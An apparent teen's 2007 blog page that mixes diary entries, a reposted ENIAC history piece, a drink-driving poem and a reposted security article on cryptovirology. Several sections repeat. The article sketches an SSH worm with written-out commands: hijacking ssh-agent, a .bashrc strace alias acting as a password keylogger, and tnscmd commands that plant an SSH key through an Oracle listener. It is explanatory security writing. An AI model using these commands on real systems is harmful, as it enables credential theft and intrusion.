shit. i hate circuits man. kana curb twice today. like. wth! haha. and i went through the damned crank course either too fast or too slow!! haha. poor idiots behind me had to like. stare in wonder amazement as i either hit the damn curb, or slowly inch, okay i doubt it was inched, it was like. millimetered my way thru the damn course. haha. poor them. =)
hungry and desperate for football. =)
later peeps. time to WoW. =)
Wednesday, February 14, 2007
oh wells, its the 14th of feb, and yayness, i was home today. yay! =) i felt so. crappy . just at home, okay. got my friends to come over to play tennis, but. like. wth? play tennis on valentines day? like. wth>! aha. okay. yes. we're all single. =) the 3 guys are single and very availble. haha. what a life, stay home and play tennis. oh wells. supposed to be in church right now, but. kimyong msged all that today is vday and he doesn't want us to sacrifice today with our loved ones. guess i agree? everyone else in the band is attached. well. everyone ELSE expt me. not that im making much noise about it. haha. im not complaining? i guess i cld say partly that i kinda enjoy singlehood? but there's some stuffs that you'll never get when ur single? i guess its the feeling of someone you are accountable to? and the closeness and all and yada. wow! so cheem. haha. i dont. miss miss it. but. i guess it does make me feel suddenly.... weird? lonely? i mean,im not lonely as per, i dont have friends and all? but the. lonely as in..... no partner? haha. i dont know. im usually okay with it. well. i was, until. well. i started to have a crush. and its like. i like. just wanna spend some time with her. okkay. not just some, but. MORE time. haiz.. RAH! its soo. confusing. its like. what if she doesn't like me? wth? why am i ranting about this? haha. i thought i said i wont blog about it? oh wells..
thats the last of it i guess. =)
since its valentines day today. i think i shall post something rgd vday =)
For all those computer geeks out there who will spend yet another Valentine's Day in the presence of a computer rather than a significant other, it's time to change the game. Toss off the shackles of this Hallmark-addled so-called holiday, and celebrate a far more important and entertaining occasion: ENIAC Eve, a compu-centric holiday for all the technophiles of the world.
On Feb. 15, 1946, the world's first programmable electronic computer--the Electronic Numerical Integrator and Computer (ENIAC)--was unveiled at the University of Pennsylvania. And so, we christen the day before as ENIAC Eve, an anniversary of the last night the world did not formally know the joys and wonders of programmable electronic computing.
Now, let's not forget that 1946's definition of programming is fairly well-removed from the definition of programming today. Rather than simply composing code in a favorite hacking app, ENIAC programmers had to physically reprogram the computer by resetting switches and removable cables.
Moreover, despite weighing about 27 tons, ENIAC initially had no way of storing a program, so any change in function required a full physical reprogramming session. (The year 1948 saw some of these issues resolved when ENIAC received a primitive ROM system, as proposed by physicist John von Neumann.)
This kind of programming sounds like a job for the prototypical and proverbial manly 1940s-era engineer, eh? Not quite. A half-dozen women are responsible for the bulk of ENIAC's programming: Fran Bilas, Betty Jennings (later known as Jean Bartik), Ruth Lichterman, Kay McNulty, Betty Snyder (later known as Betty Holberton), and Marlyn Wescoff. Their work on ENIAC earned each of them a place in the Women in Technology International Hall of Fame.
If ENIAC is the direct ancestor of all modern computers, then these women are the intellectual and professional forerunners of all modern programmers. The debt we owe some of these women doesn't stop there, however, as at least one of them pioneered software advances still in use today.
This particular ENIAC programmer went on to develop the technical standards that led to the creation of both the COBOL and Fortran programming languages.
thats the last of it i guess. =)
since its valentines day today. i think i shall post something rgd vday =)
For all those computer geeks out there who will spend yet another Valentine's Day in the presence of a computer rather than a significant other, it's time to change the game. Toss off the shackles of this Hallmark-addled so-called holiday, and celebrate a far more important and entertaining occasion: ENIAC Eve, a compu-centric holiday for all the technophiles of the world.
On Feb. 15, 1946, the world's first programmable electronic computer--the Electronic Numerical Integrator and Computer (ENIAC)--was unveiled at the University of Pennsylvania. And so, we christen the day before as ENIAC Eve, an anniversary of the last night the world did not formally know the joys and wonders of programmable electronic computing.
Now, let's not forget that 1946's definition of programming is fairly well-removed from the definition of programming today. Rather than simply composing code in a favorite hacking app, ENIAC programmers had to physically reprogram the computer by resetting switches and removable cables.
Moreover, despite weighing about 27 tons, ENIAC initially had no way of storing a program, so any change in function required a full physical reprogramming session. (The year 1948 saw some of these issues resolved when ENIAC received a primitive ROM system, as proposed by physicist John von Neumann.)
This kind of programming sounds like a job for the prototypical and proverbial manly 1940s-era engineer, eh? Not quite. A half-dozen women are responsible for the bulk of ENIAC's programming: Fran Bilas, Betty Jennings (later known as Jean Bartik), Ruth Lichterman, Kay McNulty, Betty Snyder (later known as Betty Holberton), and Marlyn Wescoff. Their work on ENIAC earned each of them a place in the Women in Technology International Hall of Fame.
If ENIAC is the direct ancestor of all modern computers, then these women are the intellectual and professional forerunners of all modern programmers. The debt we owe some of these women doesn't stop there, however, as at least one of them pioneered software advances still in use today.
This particular ENIAC programmer went on to develop the technical standards that led to the creation of both the COBOL and Fortran programming languages.
listening to : Confined, As I Lay Dying.
Cryptology is everywhere these days. Most users make good use of it even if they do not know they are using cryptographic primitives from day to day. This two-part article series looks at how cryptography is a double-edged sword: it is used to make us safer, but it is also being used for malicious purposes within sophisticated viruses.
Part one introduces the concepts behind cryptovirology and offers examples of malicious potential with the SuckIt rookit and a possible SSH worm. It then introduces armored viruses that use shape shifting (polymorphism and metamorphism) to avoid detection.
Part two will look at some of the latest virus attempts to be stealthy and avoid detection and analysis. A continued discussion of armored viruses that use polymorphism and metamorphism will be followed by the concept of a Bradley worm, an un-analyzable virus that uses cryptography. Skype will be used as an example of application cryptography with a closed protocol that can be manipulated by an attacker.
Introduction to cryptology and virology
Cryptology is a domain split in two parts:
Cryptography is dedicated to the design of algorithms ensuring confidentiality, authentication, integrity and so on. It is usually based on some kind of secret, often referred to as a key and/or specific mathematical functions (such as one-way mathematical functions).
Cryptanalysis is the attempt to design algorithms to bypass confidentiality, authentication, integrity, and so on. It is usually based on complex mathematical theories, but certain tricks can also be used to achieve the same goals (known as operational cryptanalysis).
Due to the above split of cryptology, cryptography is regarded as a defensive science, whereas cryptanalysis is regarded as an offensive one. However, when one writes or speaks about "crypto," our minds usually focus on it for defense.
Conversely, when we talk about virology, we immediately think about malicious attacks. Nevertheless, virology is also split into two sub-disciplines, one being offensive but the other one being defensive:
A virus is a self-replicating program that spreads by inserting (possibly modified) copies of itself into other executable code or documents. This is regarded as offensive because of the malicious payload normally embedded in the virus, and because of the use of anti-anti-virus techniques (techniques that avoid anti-virus).
An anti-virus is a program that attempts to identify, thwart and eliminate computer viruses and other malicious software. It is mainly built upon pattern matching (signatures) and upon identifying suspicious behaviors (heuristics).
Cryptography is used by anti-virus vendors to ensure (as much as possible) the confidentiality of the signature database, or for automatic updates to their software. But it is also used by the virus writer, for instance, to ensure the confidentiality of the virus' payload or to avoid the detection and analysis of the malicious code (through code replacement, like polymorphism and metamorphism, which are known as armored virus techniques).
Cryptovirology
Writing a virus is just like writing any other piece of software, unfortunately. The designer tries to put some cleverness in the application to improve its function (or stealth), its robustness, its replication strategies, or even its payload. However, when an anti-virus analyst gets ahold of such a piece of code, he learns how it works, what it does, and so on. In the end, both the writer and the analyst share the same view of the virus, in what amounts to a Turing machine (we have a state-transition table and a starting state).
As is very clearly exposed in Malicious Cryptography [ref 1], the idea behind cryptovirology is to break this symmetric view of a virus. After one has done some crytpo and math in his life, when he thinks of symmetric, he also thinks asymmetric. Thus, the first definition of a cryptovirus is: a virus embedding and using a public-key.
A basic model seen today
This basic model can be seen according to intended targets:
The virus writer creates an RSA key:
the public key appears in the body of the virus.
The private key is kept by the author.
The virus spreads and the payload uses the public key. For example, it ciphers the data (hard drives, files, e-mail, whatever) of the targets with the public key.
The virus writer requires a ransom before sending the private key.
There are a number of recently examples of this approach, such as GpCode and Krotten. Fortunately, this protocol has some weaknesses. First, there is the aspect of anonymity: how does the virus writer get the money without being caught? There is always a human being trying to collect the money. Then there is also a problem of reusability: what if a single victim publishes the private key? One approach virus writers could have may have the victim just send his encrypted data to the writer, who then sends it back deciphered, but this would mean the attackers have the data in clear text... and the target may not allow that to happen, preferring losing his data.
A hybrid cryptovirus model
Next, a hybrid model was proposed that uses both asymmetric and symmetric cryptography:
The virus writer creates an RSA key:
The public key appears in the body of the virus.
The private key is kept by the author.
The virus spreads:
The payload creates a secret key.
The secret key is used to cipher data on the disk.
The secret key is ciphered with the public key.
The writer asks for a ransom before deciphering the secret key.
Target harvesting, delaying analysis, and stealth
As one would notice from reading Malicious Cryptography [ref 1], the usual question for an author of a cryptovirus is: how can I use a given crypto technology in virology? We will try here to reverse or extend that state of mind with two more pointed questions that the cryptovirus writer considers:
How can we improve a given tactical factor with cryptology?
How can we maliciously use cryptology?
In order to combat this emerging threat, we must first understand the approaches used. We will focus on three important properties a malicious author uses. The first one is target harvesting, which is the mechanism used to discover valid targets to infect and control the spreading of the virus. The second goal of a cryptovirus author is to delay the analysis, that is, finding ways to delay or even prevent the understanding one can get on the malicious code. And the last important property is stealth, as not being detected is a good way not to be caught.
A matter of precision
As previously stated, crypto is everywhere. For instance, on networks some layer 2 protocols are based on crypto (WEP, WPA/TKIP, and others), as are some upper layer protocols (IPSec, SSH, SSL, Kerberos, PGP, and so on). It is therefore used for many purposes, from authentication (with passwords using pre-shared keys, key exchange, tokens) to ciphering (with AES, DES, 3DES, IDEA, RC4, and many other mysterious acronyms).
However, independently from the kind of crypto which is used, one can be sure that when crypto is used at one end of a communication channel, it is also used at the other end. Moreover, there is often either a (weak?) password or a trust relationship between these entities. And remember that cryptographic protocols are usually complex, and require many conditions which are not often checked in their actual implementation. So let us exploit all these "features" in our look at cryptovirology, to get inside the mind of those with malicious intent.
In this part of the article, we will see how cryptovirus writers try to use crypto to find targets with a good accuracy, using a much better than the approach some older worms have done in the past (such as when they generated a random 32 bit number as an IP).
A brief recall of SuckIt
The SuckIt rootkit will not be deeply detailed here as it has already been covered in a previous article. [ref 2] So, let us just focus on the cryptographic part of this rootkit. Whatever the version used, its authentication is inherently flawed. Hence, when one finds a SuckIt binary, it can be used to enter the network of SuckIT-infected hosts owned by the attacker and understand what the attacker is doing.
The above is possible because SuckIt authentication is based on the comparison of two hashes. We do not need to retrieve a pre-image for the hash - having the hash is enough. So we just need to slightly change the client so that it sends the hash directly to the server, without asking us anything: replay of this is possible as much as we want.
The problem is then to find where to replay. The first place to look at is where the intruder comes in from. It is usually a compromised host, on which he may have installed and used a client with the same password. Attackers are human beings and like all users, they can not remember too many complex passwords. Hence, the host of the attacker is often the same password used on a SuckIt network. The second interesting place to find the intruder is with a capture performed by the SuckIt rootkit itself. A file .sniffer is hidden in the secret lair of the rootkit. And if the intruder used a SuckIt client on the compromised host, it also contains the traffic to other targets... and the hash, of course.
Design principles behind an SSH worm
SSH is now a well know protocol, based on many cryptographic protocols, and it's used by many (if not all) system administrators on the Internet. It is designed to allow one to log into a remote machine and execute commands on it securely. Many authentication schemes are available to the clients: password, challenge/response, kerberos, public cryptography, and the list goes on. The server is identified by an asymmetric key. SSH also offers many more cool features: TCP proxy, secure ftp, forwarding agents, and so on.
Let us imagine what an attacker might use to create an SSH worm based on all these features. Of course, just as every worm does, this one could use an exploit targeting an SSH server. However, while this is the most obvious way to intrude into a remote SSH server, it is not the only one. Therefore if the worm could use such an exploit, fine, but it is not a necessity.
Let us suppose patient 0 is a compromised host with many users, and our worm has the highest privileges on this host, that is, it can change its identity to impersonate every local user if needed. As a side note, such a worm could also carry local exploits to gain similar privileges on freshly compromised hosts, and improve its spreading ability. However, for our example we will try to restrict the spreading mainly to SSH features and human weaknesses.
The first question we need to answer, when an attacker tries to design such a worm, how will it propagate on an SSH network from a single host? The answer contains two parts: first, we need to find interesting targets, and second, we need to find a way to enter into these targets as an attacker would.
In fact, a SSH network can be seen visually within a graph based on asymmetric cryptography and implicit trust relationships. Nodes are the SSH hosts. Outgoing edges reveal a remote SSH server where a user is or has connected, so it therefore indicates a target for our worm. Incoming edges show the place where a user is connected from, on the current SSH server. This may be a target, but the worm can not be sure a SSH server is running. So in this case, an exploit against a SSH client would be very useful to the attacker.
The excellent OpenSSH implementation provides all sorts of good information to discover remote servers (the outgoing edges). Remember, in this example we have the privileges of any local user, so for one of them, we could for instance:
Look at the user's known hosts. All hosts reached by a user have their public key saved under ~/.ssh/known_hosts. However, to preserve this information leakage, the latest version of OpenSSH uses a hash of the IP/name instead of a clear-text format.
Dig into the configuration file ~/.ssh/config (if it exists) for the Host and go into the ControlPath directory.
Look at current and future network connections.
Explore the history: grep ssh ~/.bash_history
Now, let's search for incoming the edges as defined above. We can first have a look in the file containing the keys authorized by the user, found in ~/.ssh/authorized keys. Network connections are also a useful place to look. With root privileges, one can also sniff the network and look at log files for incoming connections.
Now that we know how to spot interesting target very accurately, as an SSH worm we also need to spread onto these targets. As previously stated, the worm could use an exploit against SSH, either for the server or the client, but as we will see, there are also others ways.
Probably the easiest way is to borrow the ssh-agent of a user:
>> export SSH_AUTH_SOCK=/tmp/ssh-DEADBEEF/agent.1337
>> export SSH_AGENT_PID=1007
Lately, another feature has appeared in SSH that is very interesting and would require very little effort for an attacker to abuse. It is now possible to multiplex several SSH sessions into a single TCP connexion. So, you login once on a remote host, and all subsequent connexions to the same host are done using the already existing connection. This feature is configurable by every user:
~/.ssh/config
Host GetinMeForFree
ControlMaster auto
ControlPath ~/.ssh/currents/%r@%h:%p
So, if a connection to host GetinMeForFree already exists, the worm has nothing more to do to connect to this system.
The worm can also abuse the trust that users put in cryptography and steal their "unbreakable" passwords or passphrases. Using the poor man's keylogger, strace, is enough for that. For instance, we replace the ssh command by an alias in ~/.bashrc:
# new ssh command put in ~/.bashrc
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e
read,write,connect -s2048 ssh' The worm the just has to wait for the keys to the kingdom, shown as follows:
connect(3, sa_family=AF_INET, sin_port=htons(22),
sin_addr=inet_addr("192.168.0.103"), 16)
write(5, "Password:", 9) =9
read(5, "b", 1) =1
read(5, "e", 1) =1
read(5, "e", 1) =1
read(5, "r", 1) =1
read(5, "\n", 1) =1
This works the same when getting a passphrase put on a private key, usually found in ~/.ssh/id_[dsa|rsa].
Another trick has already been used by previous malware: embed a brute force password application. And currently, this is a very common attack against SSH. If you look at your log files you will undoubtedly see:
Feb 9 23:25:14 localhost sshd[14236]: Failed password for root from
80.95.161.86 port 58645 ssh2
Feb 9 23:25:17 localhost sshd[14238]: Failed password for invalid user
admin from 80.95.161.86 port 58806 ssh2
Feb 9 23:25:23 localhost sshd[14313]: Failed password for invalid user
guest from 80.95.161.86 port 59243 ssh2
Feb 9 23:25:26 localhost sshd[14351]: Failed password for invalid user
webmaster from 80.95.161.86 port 59445 ssh2
Feb 9 23:25:29 localhost sshd[14364]: Failed password for invalid user
oracle from 80.95.161.86 port 59445 ssh2
The worm could also use weaknesses in other applications, especially if it succeeds in injecting or overwriting a file on the remote target. If the worm can send its own public key on the target's ~/.ssh/authorized keys, and assuming this kind of authentication is authorized, it just has to connect to the remote host.
Web applications are a good first target for this approach, as many of them allow us to write on the remote target. However, for this example we will look at an old, well known flaw in Oracle, which seems exactly what we need for our worm.
In previous versions of Oracle, there was a component called TNS Listener which accepts direct connections and commands without any authentication. [ref 3] So, the idea is to connect to that listener, change the logfile to ~/.ssh/authorized keys, send a buggy command (such as the worm's key) which will be logged in the new logfile ... and it's game over.
>>tnscmd -h 192.168.0.103 -p 1521 --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=
(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)
(VERSION=1)(VALUE=/home/ora92/.ssh/authorized_keys)))"
>>tnscmd -h 192.168.0.103 -p 1521 --rawcmd "(CONNECT_DATA=
((ssh-dss AAAAB3NzaC1kc3D...Ckuu4=raynal@poisonivy.gotham"
Hence, thanks to cryptography and its double-edged sword, it is quite easy for an attacker to spot targets with great accuracy. Moreover, thanks to users themselves, it is not that difficult to intrude into these targets. And combining this with local flaws, the spreading of an SSH worm is entirely possible. More people need to be aware of this approach so they can defend against it.
The efficiency of such a worm is limited, as there are not really that many SSH servers around, and therefore not so many potential targets. But imagine what it would be if there was a system with similar features and many, many users...
A matter of time: armored viruses
Before concluding part one of this article series, we'll introduce armored viruses and then revisit these concepts again at the beginning of part two.
When one deals with attack and defense, time is a very critical factor. Usually code or data ciphering is used in order to protect intellectual property in software. The code or data are ciphered to prevent anybody from reading it, and a key is given before execution to get the clear text. Several layers of encryption can be stacked, and the code or data can be partially deciphered at a given time in memory. These techniques are used either to fingerprint the software or for license protection.
Unfortunately, similar techniques are also used in malware, and for almost the same purposes. Let us summarize the life of malware when it spreads.
One day when the malware is detected, it is regarded as new code to be analyzed. When the analysis is completed, signatures and heuristics are created to enable anti-virus software to block this malware. Then, the signatures and heuristics are provided to end-users through auto-updates of the software. New copies of the malware are immediately detected and cleaned when they reach a target. So, the conclusion is therefore when malware spreads, it dies..
In order to avoid this "problem," a malware writer must delay, or even forbid, the analysis of his malignant creature. A virus employing techniques to avoid or delay the analysis becomes what is called an armored virus.
The first public armored virus fulfilling this goal was called Whale and first spread sometime in September 1990. It combined several techniques:
Polymorphism: both the binary and the process were ciphered (there were 30 hardcoded versions).
Stealth: several interruptions, including debugging ones, are hooked by Whale, and it also hides in high memory before decreasing the max limit of memory known by DOS, which was prominent at the time.
Armoring: the code changes depended on the architecture (8088 or 8086), had intense use of obfuscation (useless code, identical conditions, redundant code, and so on) and had what is known as anti-debug (if a debugger is detected, the keyboard is blocked and Whale kills itself).
If these techniques are common nowadays, almost sixteen years later, one can imagine what happens then when such a piece of code reaches the labs of the anti-virus companies.
Next time, in part two, we'll dive deeper into armored viruses by looking at shape shifting, or polymorphism and metamorphism. Then we'll go further and discuss a Bradley virus, a type of virus that cannot be analyzed. And additionally we'll look at the popular Skype application and how attackers are already trying to use its closed protocol, built-in crypto as a vector for stealthy virus attacks.
Concluding part one
In this article, the concepts behind cryptovirology were defined as we try to understand the methods uses by crytovirus authors. Two examples were discussed, weaknesses in the the SuckIt rookit and the potential for a future SSH worm.
Next time in part two we will look at some of the latest virus attempts to be stealthy and avoid detection and analysis. A continued discussion of armored viruses will be followed by the concept of a Bradley worm, an un-analyzable virus that uses cryptography. Skype will be used as an example of application with embedded cryptography and a closed protocol that can be manipulated by an attacker. Until then.
thanks to securityfocus
and something interesting from phrack.org
I WENT TO A PARTY, MOM, I REMEMBERED WHAT YOU SAID.
YOU TOLD ME NOT TO DRINK, MOM, SO I DRANK SODA INSTEAD.
I REALLY FELT PROUD INSIDE, MOM, THE WAY YOU SAID I WOULD.
I DIDN'T DRINK AND DRIVE, MOM, THOUGH THE OTHERS SAID I SHOULD.
I KNOW I DID THE RIGHT THING, MOM, I KNOW YOUR ALWAYS RIGHT.
NOW THE PARTY IS ENDING, MOM, AS EVERONE IS DRIVING OUT OF SIGHT.
AS I GOT INTO MY CAR, MOM, I KNEW I'D GET HOME IN ONE PIECE.
BECAUSE OF THE WAY YOU RAISED ME, SO RESPONSIBLE AND SWEET.
I STARTED DRIVING AWAY, MOM, BUT AS I PULLED INTO THE ROAD,
THE OTHER CAR DIDN'T SEE ME, MOM, AND HIT ME LIKE A LOAD.
AS I LAY HERE ON THE PAVEMENT, MOM, I HEAR THE POLICE MAN SAY,
THE OTHER GUY IS DRUNK, MOM, AND NOW I'M THE ONE WHO WILL PAY.
I'M LYING HERE DYING. MOM, I WISH YOU'D GET HERE SOON.
HOW COULD THIS HAPPEN TO ME, MOM? MY LIFE JUST BURST LIKE A BALLOON.
THERE IS BLOOD ALL AROUND ME, MOM, AND MOST OF IT IS MINE.
I HEAR THE MEDIC SAY, MOM, I'LL DIE IN A SHORT TIME.
I JUST WANTED TO TELL YOU, MOM, I SWEAR I DIDN'T DRINK.
IT WAS THE OTHERS, MOM. THE OTHERS DID NOT THINK.
HE WAS PROBIBLY AT THE SAME PARTY AS I.
THE ONLY DIFFERENCE IS, HE DRANK AND I WILL DIE.
WHY DO PEOPLE DRINK, MOM? IT CAN RUIN YOUR HOLE LIFE.
I'M FEELING SHARP PAINS NOW. PAINS JUST LIKE A KNIFE.
THE GUY WHO HIT ME IS WALKING, MOM, AND I DON'T THINK IT'S FAIR.
I'M LYING HERE DYING AND ALL HE CAN DO IS STARE.
TELL MY BROTHER NOT TO CRY MOM, TELL DADDY TO BE BRAVE.
AND WHEN I GO TO HEAVEN, MOM, PUT DADDY'S GIRL ON MY GRAVE.
SOMEONE SHOUYLD HAVE TOLD HIM, MOM, NOT TO DRINK AND DRIVE.
IF ONLY THEY HAD TOLD HIM, MOM, I WOULD STILL BE ALIVE.
MY BREATH IS GETTING SHORTER, MOM. I'M BECOMING VERY SCARED.
PLEASE DON'T CRY FOR ME, MOM, WHEN I NEEDED YOU, YOU WERE ALWAYS THERE.
I HAVE ONE LAST QUESTION, MOM, BEFORE I SAY GOODBYE.
I DIDN'T DRINK AND DRIVE, MOM, SO WHY AM I THE ONE TO DIE?
dont ask..
anguish unsaid, unheard and unknown to all.
the pain is left inside of me
loneliness is all i have left
i see you standing there.
so obivilous to me.
as i stared
i wondered hoped and wished for....
will it come true?
Cryptology is everywhere these days. Most users make good use of it even if they do not know they are using cryptographic primitives from day to day. This two-part article series looks at how cryptography is a double-edged sword: it is used to make us safer, but it is also being used for malicious purposes within sophisticated viruses.
Part one introduces the concepts behind cryptovirology and offers examples of malicious potential with the SuckIt rookit and a possible SSH worm. It then introduces armored viruses that use shape shifting (polymorphism and metamorphism) to avoid detection.
Part two will look at some of the latest virus attempts to be stealthy and avoid detection and analysis. A continued discussion of armored viruses that use polymorphism and metamorphism will be followed by the concept of a Bradley worm, an un-analyzable virus that uses cryptography. Skype will be used as an example of application cryptography with a closed protocol that can be manipulated by an attacker.
Introduction to cryptology and virology
Cryptology is a domain split in two parts:
Cryptography is dedicated to the design of algorithms ensuring confidentiality, authentication, integrity and so on. It is usually based on some kind of secret, often referred to as a key and/or specific mathematical functions (such as one-way mathematical functions).
Cryptanalysis is the attempt to design algorithms to bypass confidentiality, authentication, integrity, and so on. It is usually based on complex mathematical theories, but certain tricks can also be used to achieve the same goals (known as operational cryptanalysis).
Due to the above split of cryptology, cryptography is regarded as a defensive science, whereas cryptanalysis is regarded as an offensive one. However, when one writes or speaks about "crypto," our minds usually focus on it for defense.
Conversely, when we talk about virology, we immediately think about malicious attacks. Nevertheless, virology is also split into two sub-disciplines, one being offensive but the other one being defensive:
A virus is a self-replicating program that spreads by inserting (possibly modified) copies of itself into other executable code or documents. This is regarded as offensive because of the malicious payload normally embedded in the virus, and because of the use of anti-anti-virus techniques (techniques that avoid anti-virus).
An anti-virus is a program that attempts to identify, thwart and eliminate computer viruses and other malicious software. It is mainly built upon pattern matching (signatures) and upon identifying suspicious behaviors (heuristics).
Cryptography is used by anti-virus vendors to ensure (as much as possible) the confidentiality of the signature database, or for automatic updates to their software. But it is also used by the virus writer, for instance, to ensure the confidentiality of the virus' payload or to avoid the detection and analysis of the malicious code (through code replacement, like polymorphism and metamorphism, which are known as armored virus techniques).
Cryptovirology
Writing a virus is just like writing any other piece of software, unfortunately. The designer tries to put some cleverness in the application to improve its function (or stealth), its robustness, its replication strategies, or even its payload. However, when an anti-virus analyst gets ahold of such a piece of code, he learns how it works, what it does, and so on. In the end, both the writer and the analyst share the same view of the virus, in what amounts to a Turing machine (we have a state-transition table and a starting state).
As is very clearly exposed in Malicious Cryptography [ref 1], the idea behind cryptovirology is to break this symmetric view of a virus. After one has done some crytpo and math in his life, when he thinks of symmetric, he also thinks asymmetric. Thus, the first definition of a cryptovirus is: a virus embedding and using a public-key.
A basic model seen today
This basic model can be seen according to intended targets:
The virus writer creates an RSA key:
the public key appears in the body of the virus.
The private key is kept by the author.
The virus spreads and the payload uses the public key. For example, it ciphers the data (hard drives, files, e-mail, whatever) of the targets with the public key.
The virus writer requires a ransom before sending the private key.
There are a number of recently examples of this approach, such as GpCode and Krotten. Fortunately, this protocol has some weaknesses. First, there is the aspect of anonymity: how does the virus writer get the money without being caught? There is always a human being trying to collect the money. Then there is also a problem of reusability: what if a single victim publishes the private key? One approach virus writers could have may have the victim just send his encrypted data to the writer, who then sends it back deciphered, but this would mean the attackers have the data in clear text... and the target may not allow that to happen, preferring losing his data.
A hybrid cryptovirus model
Next, a hybrid model was proposed that uses both asymmetric and symmetric cryptography:
The virus writer creates an RSA key:
The public key appears in the body of the virus.
The private key is kept by the author.
The virus spreads:
The payload creates a secret key.
The secret key is used to cipher data on the disk.
The secret key is ciphered with the public key.
The writer asks for a ransom before deciphering the secret key.
Target harvesting, delaying analysis, and stealth
As one would notice from reading Malicious Cryptography [ref 1], the usual question for an author of a cryptovirus is: how can I use a given crypto technology in virology? We will try here to reverse or extend that state of mind with two more pointed questions that the cryptovirus writer considers:
How can we improve a given tactical factor with cryptology?
How can we maliciously use cryptology?
In order to combat this emerging threat, we must first understand the approaches used. We will focus on three important properties a malicious author uses. The first one is target harvesting, which is the mechanism used to discover valid targets to infect and control the spreading of the virus. The second goal of a cryptovirus author is to delay the analysis, that is, finding ways to delay or even prevent the understanding one can get on the malicious code. And the last important property is stealth, as not being detected is a good way not to be caught.
A matter of precision
As previously stated, crypto is everywhere. For instance, on networks some layer 2 protocols are based on crypto (WEP, WPA/TKIP, and others), as are some upper layer protocols (IPSec, SSH, SSL, Kerberos, PGP, and so on). It is therefore used for many purposes, from authentication (with passwords using pre-shared keys, key exchange, tokens) to ciphering (with AES, DES, 3DES, IDEA, RC4, and many other mysterious acronyms).
However, independently from the kind of crypto which is used, one can be sure that when crypto is used at one end of a communication channel, it is also used at the other end. Moreover, there is often either a (weak?) password or a trust relationship between these entities. And remember that cryptographic protocols are usually complex, and require many conditions which are not often checked in their actual implementation. So let us exploit all these "features" in our look at cryptovirology, to get inside the mind of those with malicious intent.
In this part of the article, we will see how cryptovirus writers try to use crypto to find targets with a good accuracy, using a much better than the approach some older worms have done in the past (such as when they generated a random 32 bit number as an IP).
A brief recall of SuckIt
The SuckIt rootkit will not be deeply detailed here as it has already been covered in a previous article. [ref 2] So, let us just focus on the cryptographic part of this rootkit. Whatever the version used, its authentication is inherently flawed. Hence, when one finds a SuckIt binary, it can be used to enter the network of SuckIT-infected hosts owned by the attacker and understand what the attacker is doing.
The above is possible because SuckIt authentication is based on the comparison of two hashes. We do not need to retrieve a pre-image for the hash - having the hash is enough. So we just need to slightly change the client so that it sends the hash directly to the server, without asking us anything: replay of this is possible as much as we want.
The problem is then to find where to replay. The first place to look at is where the intruder comes in from. It is usually a compromised host, on which he may have installed and used a client with the same password. Attackers are human beings and like all users, they can not remember too many complex passwords. Hence, the host of the attacker is often the same password used on a SuckIt network. The second interesting place to find the intruder is with a capture performed by the SuckIt rootkit itself. A file .sniffer is hidden in the secret lair of the rootkit. And if the intruder used a SuckIt client on the compromised host, it also contains the traffic to other targets... and the hash, of course.
Design principles behind an SSH worm
SSH is now a well know protocol, based on many cryptographic protocols, and it's used by many (if not all) system administrators on the Internet. It is designed to allow one to log into a remote machine and execute commands on it securely. Many authentication schemes are available to the clients: password, challenge/response, kerberos, public cryptography, and the list goes on. The server is identified by an asymmetric key. SSH also offers many more cool features: TCP proxy, secure ftp, forwarding agents, and so on.
Let us imagine what an attacker might use to create an SSH worm based on all these features. Of course, just as every worm does, this one could use an exploit targeting an SSH server. However, while this is the most obvious way to intrude into a remote SSH server, it is not the only one. Therefore if the worm could use such an exploit, fine, but it is not a necessity.
Let us suppose patient 0 is a compromised host with many users, and our worm has the highest privileges on this host, that is, it can change its identity to impersonate every local user if needed. As a side note, such a worm could also carry local exploits to gain similar privileges on freshly compromised hosts, and improve its spreading ability. However, for our example we will try to restrict the spreading mainly to SSH features and human weaknesses.
The first question we need to answer, when an attacker tries to design such a worm, how will it propagate on an SSH network from a single host? The answer contains two parts: first, we need to find interesting targets, and second, we need to find a way to enter into these targets as an attacker would.
In fact, a SSH network can be seen visually within a graph based on asymmetric cryptography and implicit trust relationships. Nodes are the SSH hosts. Outgoing edges reveal a remote SSH server where a user is or has connected, so it therefore indicates a target for our worm. Incoming edges show the place where a user is connected from, on the current SSH server. This may be a target, but the worm can not be sure a SSH server is running. So in this case, an exploit against a SSH client would be very useful to the attacker.
The excellent OpenSSH implementation provides all sorts of good information to discover remote servers (the outgoing edges). Remember, in this example we have the privileges of any local user, so for one of them, we could for instance:
Look at the user's known hosts. All hosts reached by a user have their public key saved under ~/.ssh/known_hosts. However, to preserve this information leakage, the latest version of OpenSSH uses a hash of the IP/name instead of a clear-text format.
Dig into the configuration file ~/.ssh/config (if it exists) for the Host and go into the ControlPath directory.
Look at current and future network connections.
Explore the history: grep ssh ~/.bash_history
Now, let's search for incoming the edges as defined above. We can first have a look in the file containing the keys authorized by the user, found in ~/.ssh/authorized keys. Network connections are also a useful place to look. With root privileges, one can also sniff the network and look at log files for incoming connections.
Now that we know how to spot interesting target very accurately, as an SSH worm we also need to spread onto these targets. As previously stated, the worm could use an exploit against SSH, either for the server or the client, but as we will see, there are also others ways.
Probably the easiest way is to borrow the ssh-agent of a user:
>> export SSH_AUTH_SOCK=/tmp/ssh-DEADBEEF/agent.1337
>> export SSH_AGENT_PID=1007
Lately, another feature has appeared in SSH that is very interesting and would require very little effort for an attacker to abuse. It is now possible to multiplex several SSH sessions into a single TCP connexion. So, you login once on a remote host, and all subsequent connexions to the same host are done using the already existing connection. This feature is configurable by every user:
~/.ssh/config
Host GetinMeForFree
ControlMaster auto
ControlPath ~/.ssh/currents/%r@%h:%p
So, if a connection to host GetinMeForFree already exists, the worm has nothing more to do to connect to this system.
The worm can also abuse the trust that users put in cryptography and steal their "unbreakable" passwords or passphrases. Using the poor man's keylogger, strace, is enough for that. For instance, we replace the ssh command by an alias in ~/.bashrc:
# new ssh command put in ~/.bashrc
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e
read,write,connect -s2048 ssh' The worm the just has to wait for the keys to the kingdom, shown as follows:
connect(3, sa_family=AF_INET, sin_port=htons(22),
sin_addr=inet_addr("192.168.0.103"), 16)
write(5, "Password:", 9) =9
read(5, "b", 1) =1
read(5, "e", 1) =1
read(5, "e", 1) =1
read(5, "r", 1) =1
read(5, "\n", 1) =1
